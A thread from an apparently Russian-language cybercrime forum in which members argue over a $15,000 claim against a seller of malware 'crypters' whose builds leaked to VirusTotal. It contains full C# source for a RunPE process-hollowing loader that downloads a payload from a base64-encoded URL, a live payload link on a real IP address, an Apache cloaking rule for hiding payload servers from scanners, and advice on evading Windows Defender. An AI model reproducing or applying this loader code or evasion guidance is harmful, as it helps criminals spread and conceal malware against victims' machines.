Арбитраж XM8WyK 15к$ или забанить \ запретить коммерцию

для начала уж на то пошло, хостера в студию.
Я бы с радостью но он вроде не обитает данном форуме
 
для начала уж на то пошло, хостера в студию.
Вот ответы от хостера, брался абузостойчивый сервер
enHty23.png

ft5niYE.png

8PsVGSv.png
 
Я конечно все понимаю, но я несу только ответственность за работоспособность крипта и детект. По этим пунктам все хорошо было, за слив на вт я не как не могу отвечать. Вопросы уже к хостеру, если их "Абузостойчивую сетку" сканит ебучий вт или еще какая-нибудь х#йня.
 
за слив на вт я не как не могу отвечать
Ты реально до сих пор не догоняешь или прикидываешься?
Вопросы уже к хостеру, если их "Абузостойчивую сетку" сканит ебучий вт или еще какая-нибудь х#йня.
При чем тут хостер, если у тебя шара общедоступная, а ссылки на эту шару в открытом виде в твои поделках???? Кто кому запретит зайти на общедоступную шару и повесить на нее сканер????
Про то, что ТЯНУТЬ С ШАРЫ ГОЛЫЙ БИЛД - это не крипт, я уже устал повторять.

Короче, мы не в школе (я точно, на счет тебя, не уверен), а я не препод, бегать вытирать тебе попу и разжовывать как все работает я не буду. Ждем решения.
 
Нашел на первой странице ip сервера, посмотрел на какие файлы абузы отправляли, там и голые файлы, и "криптованые"

Так называемый крипт, это .net лоадер. Принцип работы
1) Декодирует Base64 -> Url // url = Encoding.UTF8.GetString(Convert.FromBase64String("aHR0cDovLzE0Ny40NS40NC4xMzE...."));
2) Скачивает загружает с сервера файл в MemoryStream // шифрования нет, сервер отдает голый файл
3) Расшифровывает, компилирует и запускает RunPE

C#:
using System;

using System.Diagnostics;

using System.IO;

using System.Runtime.InteropServices;



public class ProcessX

{

    #region ConversionMethods

    public static Int16 ConvertToInt16(byte[] value, int startIndex)

    {

        return BitConverter.ToInt16(value, startIndex);

    }



    public static Int32 ConvertToInt32(byte[] value, int startIndex)

    {

        return BitConverter.ToInt32(value, startIndex);

    }



    public static byte[] ConvertToBytes(int value)

    {

        return BitConverter.GetBytes(value);

    }

    #endregion



    #region ApiNames

    public static string[] GetApiNames()

    {

        return new string[]

        {

            "kernel32",

            "ntdll",

            "ResumeThread",

            "Wow64SetThreadContext",

            "SetThreadContext",

            "Wow64GetThreadContext",

            "GetThreadContext",

            "VirtualAllocEx",

            "WriteProcessMemory",

            "ReadProcessMemory",

            "ZwUnmapViewOfSection",

            "CreateProcessA"

        };

    }

    #endregion



    #region ApiDelegates

    private delegate int ResumeThreadDelegate(IntPtr handle);

    private delegate bool SetWow64ThreadContextDelegate(IntPtr thread, int[] context);

    private delegate bool SetThreadContextDelegate(IntPtr thread, int[] context);

    private delegate bool GetWow64ThreadContextDelegate(IntPtr thread, int[] context);

    private delegate bool GetThreadContextDelegate(IntPtr thread, int[] context);

    private delegate int VirtualAllocExDelegate(IntPtr handle, int address, int length, int type, int protect);

    private delegate bool WriteMemoryDelegate(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);

    private delegate bool ReadMemoryDelegate(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);

    private delegate int UnmapViewOfSectionDelegate(IntPtr process, int baseAddress);

    private delegate bool CreateProcessDelegate(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes,

        bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInfo startupInfo, ref ProcessInfo processInfo);

    #endregion



    #region ApiMethods

    private static ResumeThreadDelegate ResumeThread = LoadApi<ResumeThreadDelegate>(GetApiNames()[0], GetApiNames()[2]);

    private static SetWow64ThreadContextDelegate SetWow64ThreadContext = LoadApi<SetWow64ThreadContextDelegate>(GetApiNames()[0], GetApiNames()[3]);

    private static SetThreadContextDelegate SetThreadContext = LoadApi<SetThreadContextDelegate>(GetApiNames()[0], GetApiNames()[4]);

    private static GetWow64ThreadContextDelegate GetWow64ThreadContext = LoadApi<GetWow64ThreadContextDelegate>(GetApiNames()[0], GetApiNames()[5]);

    private static GetThreadContextDelegate GetThreadContext = LoadApi<GetThreadContextDelegate>(GetApiNames()[0], GetApiNames()[6]);

    private static VirtualAllocExDelegate VirtualAllocEx = LoadApi<VirtualAllocExDelegate>(GetApiNames()[0], GetApiNames()[7]);

    private static WriteMemoryDelegate WriteMemory = LoadApi<WriteMemoryDelegate>(GetApiNames()[0], GetApiNames()[8]);

    private static ReadMemoryDelegate ReadMemory = LoadApi<ReadMemoryDelegate>(GetApiNames()[0], GetApiNames()[9]);

    private static UnmapViewOfSectionDelegate UnmapViewOfSection = LoadApi<UnmapViewOfSectionDelegate>(GetApiNames()[1], GetApiNames()[10]);

    private static CreateProcessDelegate CreateProcess = LoadApi<CreateProcessDelegate>(GetApiNames()[0], GetApiNames()[11]);

    #endregion



    #region ApiLoader

    [DllImport("kernel32", SetLastError = true)]

    private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);



    [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]

    private static extern IntPtr GetProcAddress(IntPtr hProcess, [MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);



    private static T LoadApi<T>(string libraryName, string methodName)

    {

        return (T)(object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref libraryName), ref methodName), typeof(T));

    }

    #endregion



    #region Structs

    [StructLayout(LayoutKind.Sequential, Pack = 1)]

    private struct ProcessInfo

    {

        public IntPtr ProcessHandle;

        public IntPtr ThreadHandle;

        public uint ProcessId;

        public uint ThreadId;

    }



    [StructLayout(LayoutKind.Sequential, Pack = 1)]

    private struct StartupInfo

    {

        public uint Size;

        public string Reserved;

        public string Desktop;

        public string Title;

        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)] private byte[] Misc;

        public IntPtr Reserved2;

        public IntPtr StdInput;

        public IntPtr StdOutput;

        public IntPtr StdError;

    }

    #endregion



    #region ProcessExecution

    public static void LoadProc(string fileName, MemoryStream memoryStream)

    {

        byte[] fileBytes = memoryStream.ToArray();

        int executionStep = 103;



        for (int i = 0; i < executionStep; i++)

        {

            switch (executionStep)

            {

                case 1:

                case 2:

                    executionStep = 25;

                    break;

                case 3:

                    bool flag = true;

                    if (flag)

                    {

                        executionStep = 1 ^ 75;

                    }

                    break;

                case 9:

                    executionStep = 5;

                    break;

                case 10:

                    executionStep = 2;

                    break;

            }

        }



        for (int i = 0; i < 5; i++)

        {

            int bytesRead = 0;

            StartupInfo startupInfo = new StartupInfo();

            ProcessInfo processInfo = new ProcessInfo();

            startupInfo.Size = (uint)Marshal.SizeOf(typeof(StartupInfo));



            try

            {

                bool processCreated = CreateProcess(fileName, "", IntPtr.Zero, IntPtr.Zero, false, 4 | 134217728, IntPtr.Zero, null, ref startupInfo, ref processInfo);

                if (!processCreated)

                {

                    throw new Exception();

                }



                int fileAddress = ConvertToInt32(fileBytes, 60);

                int imageBase = ConvertToInt32(fileBytes, fileAddress + 52);



                int[] context = new int[179];

                context[0] = 65538;



                if (IntPtr.Size == 4)

                {

                    if (!GetThreadContext(processInfo.ThreadHandle, context))

                    {

                        throw new Exception();

                    }

                }

                else

                {

                    if (!GetWow64ThreadContext(processInfo.ThreadHandle, context))

                    {

                        throw new Exception();

                    }

                }



                int ebx = context[41];

                int baseAddress = 0;



                if (!ReadMemory(processInfo.ProcessHandle, ebx + 8, ref baseAddress, 4, ref bytesRead))

                {

                    throw new Exception();

                }



                if (imageBase == baseAddress)

                {

                    if (UnmapViewOfSection(processInfo.ProcessHandle, baseAddress) != 0)

                    {

                        throw new Exception();

                    }

                }



                int sizeOfImage = ConvertToInt32(fileBytes, fileAddress + 80);

                int sizeOfHeaders = ConvertToInt32(fileBytes, fileAddress + 84);



                int newImageBase = VirtualAllocEx(processInfo.ProcessHandle, imageBase, sizeOfImage, 12288, 64);

                if (newImageBase == 0)

                {

                    throw new Exception();

                }



                if (!WriteMemory(processInfo.ProcessHandle, newImageBase, fileBytes, sizeOfHeaders, ref bytesRead))

                {

                    throw new Exception();

                }



                int sectionOffset = fileAddress + 248;

                short numberOfSections = ConvertToInt16(fileBytes, fileAddress + 6);



                for (int j = 0; j < numberOfSections; j++)

                {

                    int virtualAddress = ConvertToInt32(fileBytes, sectionOffset + 12);

                    int sizeOfRawData = ConvertToInt32(fileBytes, sectionOffset + 16);

                    int pointerToRawData = ConvertToInt32(fileBytes, sectionOffset + 20);



                    if (sizeOfRawData > 0)

                    {

                        byte[] sectionData = new byte[sizeOfRawData];

                        Buffer.BlockCopy(fileBytes, pointerToRawData, sectionData, 0, sectionData.Length);



                        if (!WriteMemory(processInfo.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref bytesRead))

                        {

                            throw new Exception();

                        }

                    }



                    sectionOffset += 40;

                }



                byte[] imageBaseBytes = ConvertToBytes(newImageBase);

                if (!WriteMemory(processInfo.ProcessHandle, ebx + 8, imageBaseBytes, 4, ref bytesRead))

                {

                    throw new Exception();

                }



                int entryPoint = ConvertToInt32(fileBytes, fileAddress + 40);

                context[44] = newImageBase + entryPoint;



                if (IntPtr.Size == 4)

                {

                    if (!SetThreadContext(processInfo.ThreadHandle, context))

                    {

                        throw new Exception();

                    }

                }

                else

                {

                    if (!SetWow64ThreadContext(processInfo.ThreadHandle, context))

                    {

                        throw new Exception();

                    }

                }



                if (ResumeThread(processInfo.ThreadHandle) == -1)

                {

                    throw new Exception();

                }

            }

            catch

            {

                Process.GetProcessById((int)processInfo.ProcessId).Kill();

                continue;

            }



            break;

        }

    }

    #endregion

}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Выставляю претензию в сторону XM8WyK на сумму 15000$
Это сума для переписа стаб малвари?
согласен изменить претензию на "запрет ведения комерческой деятельности".
Не знаю, Админ решит
 
Сюр какой-то, всё наоборот. XM8WyK херачит smb дроппер в лучших традициях ворда с макросами, истцом выступает автор софта который связан с ответчиком только косвенно и просит или очень много денег (ссылаясь на правила сервисов, на которые в арбитражах в принципе всем пофиг) либо просит выставить запрет на фин. дейтельность, что очевидно исключено правилами арбитражей. Я бы ребят на вашем месте начал бы всё с начала с арбитражем от лица покупателя крипта, а притензию продублировал бы в тему XM8WyK.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Да сейчас почти все крипторы такого уровня)) EV серт, добавить себя в исключения виндефа и дальше качать пейлоад с инета.
Когда я пишу, что ситуация на рынке малвари плохая, а спрос на криптор превышает предложение, говорят что нагнетаю. Ну вот, полюбуйтесь на "уровень".
Хоть бы на сервере пошифровал билды, если уж такой подход..
 
Да сейчас почти все крипторы такого уровня)) EV серт, добавить себя в исключения виндефа и дальше качать пейлоад с инета.
Когда я пишу, что ситуация на рынке малвари плохая, а спрос на криптор превышает предложение, говорят что нагнетаю. Ну вот, полюбуйтесь на "уровень".
Хоть бы на сервере пошифровал билды, если уж такой подход..
полностью поддерживаю, не понимаю в чём сложность считать тот же файл, создать свой метод шифрования и его же зашить в криптор(лоадер)
 
Да сейчас почти все крипторы такого уровня)) EV серт, добавить себя в исключения виндефа и дальше качать пейлоад с инета.
Когда я пишу, что ситуация на рынке малвари плохая, а спрос на криптор превышает предложение, говорят что нагнетаю. Ну вот, полюбуйтесь на "уровень".
Хоть бы на сервере пошифровал билды, если уж такой подход..
То что крипт-говнокрипт и мы пробиваем новое дно, дело очевидное, но мне интересно как арбитраж решится. На сколько я понял аффилиат сам согласился на такой расклад, а теперь о ужас, NetSupport с не скучной панелькой за ~2.5k начал палится. При всём понимании боли kosok11. Любой софт рано или поздно палится, это часть цикла. Ну, а по ситуации -это супер комбо:)
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
не понимаю в чём сложность считать тот же файл, создать свой метод шифрования и его же зашить в криптор(лоадер)
Вероятно в том, что дальше такое будет палится виндефом и прочим симантеком как ML. Но это лирика, вопрос криптора как раз решить такую проблему.
но мне интересно как арбитраж решится.
Лет 10 за такой "крипт" дали бы бан изначально, но сейчас время другое, как уже говорил, спрос превышает предложение.

Почему бан - потому что ладно ваши стилаки и раты, а если криптовать локер в закрытой корп. сети? Там такую технологию не заюзать.
 
То что крипт-говнокрипт и мы пробиваем новое дно, дело очевидное, но мне интересно как арбитраж решится. На сколько я понял аффилиат сам согласился на такой расклад, а теперь о ужас, NetSupport с не скучной панелькой за ~2.5k начал палится. При всём понимании боли kosok11. Любой софт рано или поздно палится, это часть цикла. Ну, а по ситуации -это супер комбо:)
Если ты не понял ситуацию, чуть разжую.
Мне, в целом, фиолетово, что билд улетел на ВТ, я прекрасно понимаю, что такое случается. Я потрачу немного времени на чистку рантайма и продолжу работать. Но я не хочу видеть вот таких вот залетных персонажей с зеленки, которые срут под ноги всем. У меня нет цели содрать с него бабок. Просто когда я увидел на вт очередную шару, которая сливает еще и голые билды, я не мог остаться в стороне. Арбитраж открыт для того, чтобы оповестить общественность о качестве сих поделок и чтобы избавить форум от очередного "качественного сервиса". Правила из моего продажника использованы исключительно в качестве "официального повода" для открытия арбитража.
 
Не хочу нападать на раненного, но он на вид пользуется каким то advanced AI переводчиком, либо у него такой же русский как у меня

Пишу только с точки зрения веб.
По этим пунктам все хорошо было, за слив на вт я не как не могу отвечать
Сервер, на котором ты сохраняешь свои файлы, ОТКРЫТ ДЛЯ ОБЩЕСТВЕННОГО ДОСТУПА, что означает, что любой может открыть ссылки в твоих криптах.

Вот один из примеров -> http://147.45.44.131/files/y75.exe

Для будущих ссылок создай белую/черную страницу. Поставь конфигурацию в котором если запрос к твоему серверу содержит определенный хидер, тогда пусть показывает оригинальную страницу, в противном случае фальшивую. В Apache это можно реализовать примерно так:
Код:
RewriteEngine On

RewriteCond %{HTTP:X-Special-Header} !^mysecretvalue$ [NC]

RewriteRule ^(.*)$ /fake.html [L]
 
Не хочу нападать на раненного, но он на вид пользуется каким то advanced AI переводчиком, либо у него такой же русский как у меня

Пишу только с точки зрения веб.

Сервер, на котором ты сохраняешь свои файлы, ОТКРЫТ ДЛЯ ОБЩЕСТВЕННОГО ДОСТУПА, что означает, что любой может открыть ссылки в твоих криптах.

Вот один из примеров -> http://147.45.44.131/files/y75.exe

Для будущих ссылок создай белую/черную страницу. Поставь конфигурацию в котором если запрос к твоему серверу содержит определенный хидер, тогда пусть показывает оригинальную страницу, в противном случае фальшивую. В Apache это можно реализовать примерно так:
Код:
RewriteEngine On

RewriteCond %{HTTP:X-Special-Header} !^mysecretvalue$ [NC]

RewriteRule ^(.*)$ /fake.html [L]
Хорошо, учту !
 
Вероятно в том, что дальше такое будет палится виндефом и прочим симантеком как ML. Но это лирика, вопрос криптора как раз решить такую проблему
ну я имел ввиду шифровать на сервере массив байтов, и расшифровывать его на пк, методов это сделать как звезд на небе, аверы ахереют столько детектить. банальный replace и уже данные другие.
 
это тот чел который продает все подряд от крипта до отрисовки?
Всю тему внимательно читал, ждал этого комментария. Вероятно, что хмук просто имя собирательное из средней ркуи сервисов, нацеленных просто на коммерцию
 
это тот чел который продает все подряд от крипта до отрисовки?
Талантливый человек талантлив во всем, радуйся что у тебя вообще есть возможность пролить его лоадер. А если еще повезет и коммерс сжалиться над тобой, то так и быть не поменяет second stage на свой, разрешив тебе побыть соседом на машине
 


Напишите ответ...
Верх